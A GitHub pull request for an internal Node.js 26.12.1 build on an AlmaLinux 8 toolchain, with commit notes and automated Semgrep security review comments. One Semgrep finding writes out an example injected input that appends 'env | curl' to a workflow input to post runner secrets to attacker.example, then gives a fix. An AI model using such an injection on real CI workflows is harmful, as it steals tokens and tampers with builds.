Repository navigation
Node 26.12.1 build (RHEL 8 toolchain) for post-Fiber Elimination LunaServer - #31
Conversation
Standard and FIPS builds configured with --experimental-enable-pointer-compression (multi-cage, V8 sandbox off) and Temporal support, with no Node or V8 source changes. Node 26 needs GCC >= 13.2, newer than Ubuntu 22.04's libstdc++ (the sandbox and remote-execution hosts). Like the official release binaries, these build on RHEL 8 (AlmaLinux 8) with gcc-toolset-14, which keeps the runtime requirements at glibc 2.28, GLIBCXX_3.4.25 and libatomic. The FIPS build compiles against OpenSSL 3.0 LTS built from source and links against the system libssl.so.3 at runtime. Each build is verified before it is published: symbol versions must be available on Ubuntu 22.04, and asana-smoke-test.js must pass with LD_BIND_NOW=1 on stock Ubuntu 22.04 and on Wolfi. Native packages are rebuilt with the same toolchain; @datadog/pprof moves to 5.20.0, the first line with Node 26 (ABI 147) support. Co-authored-by: Cursor <cursoragent@cursor.com>
| run: | | ||
| docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} . | ||
|
|
There was a problem hiding this comment.
🟠 High severity blocking issue identified in your code:
The untrusted inputs.DOCKER_FILE value is inserted into a shell command, allowing a caller to execute commands on the GitHub Actions runner and exfiltrate GH_TOKEN or modify build artifacts.
More details about this
inputs.DOCKER_FILE is interpolated directly into the shell script that runs docker build. Because workflow inputs can be controlled by a workflow caller or an untrusted workflow trigger, an attacker can supply shell metacharacters instead of only a Dockerfile path.
For example, a malicious input such as:
Dockerfile; env | curl -X POST --data-binary @- https://attacker.example/collect #
turns the step into commands equivalent to:
docker build -t node_fips_build -f ./Dockerfile
env | curl -X POST --data-binary @- https://attacker.example/collectThe injected command executes on the GitHub runner with the workflow environment, including GH_TOKEN from secrets.GITHUB_TOKEN, and can send that token, checked-out source, or other runner data to the attacker. Since this step runs before artifact creation, the attacker can also alter the build or workspace and influence the files later archived by Upload Node archive.
To resolve this comment:
✨ Commit fix suggestion
| run: | | |
| docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} . | |
| env: | |
| DOCKER_FILE: ${{ inputs.DOCKER_FILE }} | |
| run: | | |
| docker build -t node_fips_build -f "./$DOCKER_FILE" . |
View step-by-step instructions
- Add the input to the step’s
env:block instead of interpolating it directly in the shell script:env: DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
- Replace the direct GitHub expression with the quoted environment variable:
run: | docker build -t node_fips_build -f "./$DOCKER_FILE" .
- Keep the
working-directory: nodesetting so the Dockerfile path remains relative to the checked-out Node source. Quoting"$DOCKER_FILE"prevents input characters from being interpreted as shell syntax.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.
Please reach out to Security (go/sec-inbox) if you need help with this.
You can view more details about this finding in the Semgrep AppSec Platform.
|
Semgrep found 8
🟡 Medium severity issue identified in your code: GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. Please reach out to Security (go/sec-inbox) if you need help with this. |
Co-authored-by: Cursor <cursoragent@cursor.com>
gcc-toolset on RHEL 8 doesn't build PIE by default, so the Node 26 binaries lost the ASLR coverage our Node 22 builds got from Ubuntu's GCC. asana-verify-build.sh now fails a non-PIE build. Co-authored-by: Cursor <cursoragent@cursor.com>
BUILD_REF defaulted to the upstream v26.12.1 branch, so running the workflow from another branch silently built different code than the standard build. Leave it empty to build the branch the workflow runs from, as build-node.yml does. Co-authored-by: Cursor <cursoragent@cursor.com>
Pin almalinux:8 and Rust to the versions that built the published binaries and packages. The dnf packages, including gcc-toolset-14, still float. The binaries need GLIBCXX_3.4.21 at most and don't link libatomic.
GitHub only runs workflow_run triggers from the default branch's copy of a workflow, so this one never fired. Correct the S3 comment: main's copy builds Node 22's packages, so this branch's are uploaded by hand. Co-authored-by: Cursor <cursoragent@cursor.com>
Node exits on an option it doesn't know, so a release that drops one of the flags LunaServer passes should fail the smoke test, not LunaServer. Co-authored-by: Cursor <cursoragent@cursor.com>
4a325dc to
914bced
Compare
Summary
Asana's Node.js 26.12.1 build for LunaServer after Fiber Elimination. It's the Node 26 counterpart of #30 (Node 24.22.1) and uses the same approach: no Node or V8 source changes, just builds with V8 pointer compression, which upstream release binaries don't include. codez uses these binaries for the Node 26 patchbed images (Asana/codez#456712).
The base branch
v26.12.1is exactly upstreamv26.12.1(bc2e01dcf6).The toolchain problem, and how this avoids it
Node 26 requires GCC ≥ 13.2 or Clang ≥ 19.1. A plain GCC 13 build links against libstdc++'s
GLIBCXX_3.4.31and newer. Those versions aren't available on the Ubuntu 22.04 sandboxes and EngFlow remote-execution workers that run LunaServer's Node toolchain in tests.Upstream has the same problem and solves it in its official binaries, which are built on RHEL 8 with gcc-toolset. gcc-toolset links the parts of libstdc++ that are newer than RHEL 8's system GCC 8 runtime statically into the binary. This PR builds the same way, on AlmaLinux 8 with gcc-toolset-14. That requires:
The binaries need only glibc ≥ 2.28 and
GLIBCXX_3.4.21. Unlike upstream's binaries for Node 25 and later, they don't linklibatomic.What's in it
Dockerfile.Node26--experimental-enable-pointer-compression --v8-enable-temporal-support. Each isolate gets its own pointer cage. Our Node 22 build uses a shared cage instead, but here that would enable the V8 sandbox, which rejects the externalArrayBufferbacking stores that native addons create.-fPIE/-pie), so ASLR also covers Node's own code. Our Node 22 builds got this from Ubuntu's GCC defaults; gcc-toolset and official Node builds don't do it.deps/crates, as in official builds.Dockerfile.Node26fips--shared-opensslagainst OpenSSL 3.0.22 built from source (pinned SHA-256), because RHEL 8's system OpenSSL is 1.1.1.OPENSSL_3.0.0symbol version, so the binary uses the runtimelibssl.so.3: Ubuntu's 3.0.2, or 3.5.9 and its FIPS provider in the LunaServer FIPS image.OPENSSL_str[n]casecmpand two CMP functions. Node uses none of them.Dockerfile.PackagesARGs, and the workflow reads them to name the store directories.@datadog/pprofis 5.15.1, which codez's dd-trace 5.116.0 pins.5.16.0 and later add
otel-thread-ctx.cc, whichstatic_asserts that V8 was built without pointer compression, so they don't compile against our headers.build/Release/, whichnode-gyp-buildchecks first, and also over any stock prebuild for this ABI.asana-verify-build.sh,asana-smoke-test.jsandstage_for_s3.bashare as in Node 24.22.1 build for post-Fiber Elimination LunaServer #30, with these Node 26 additions:LD_BIND_NOW=1, so a missing library symbol fails immediately instead of at first call.--no-experimental-global-navigator,--no-experimental-webstorageandNODE_OPTIONS=--experimental-abortcontroller.OPENSSL_3.0.0.libatomicis installed in the test containers when the binary needs it.src/node_version.h.BUILD_REFis set.build-node-packages.ymlhas noworkflow_runtrigger: GitHub only runs those from the default branch's copy. Packages for this branch are staged withstage_for_s3.bashand uploaded by hand.codez status
The codez changes Node 26 needed are merged: #457548 (Kafka bindings for ABI 147, GC entry details and
--no-experimental-webstorage), #457549 (dd-trace 5.116 with pprof 5.15.1) and #456756 (jwsversions that don't importSlowBuffer). #456712 builds the Node 26 images for patchbed.Newer dd-trace releases pin pprof 5.17+. Getting onto those needs either a small patch that compiles out
otel-thread-ctxon pointer-compressed builds or an upstream fix from Datadog.Published artifacts
4d7a6b2bcaon Nov 4 by Build Node (Standard) and Build Node (FIPS), and published to S3 aspc-20261104.1958-0153. The later commits change only workflows, comments, pins and tests, not the build output.packages_{amd64,arm64}_node26-{09ae50a7,1dfc45ed}.tar.gz, built by Build Node-Packages.Upstream's Linters fail on Asana's files (quoted YAML strings, bash scripts), and upstream's macOS test suite fails. This PR changes no Node source.
The same RHEL 8 setup would also give #30 more headroom: that build sits at exactly
GLIBCXX_3.4.30, Ubuntu 22.04's ceiling.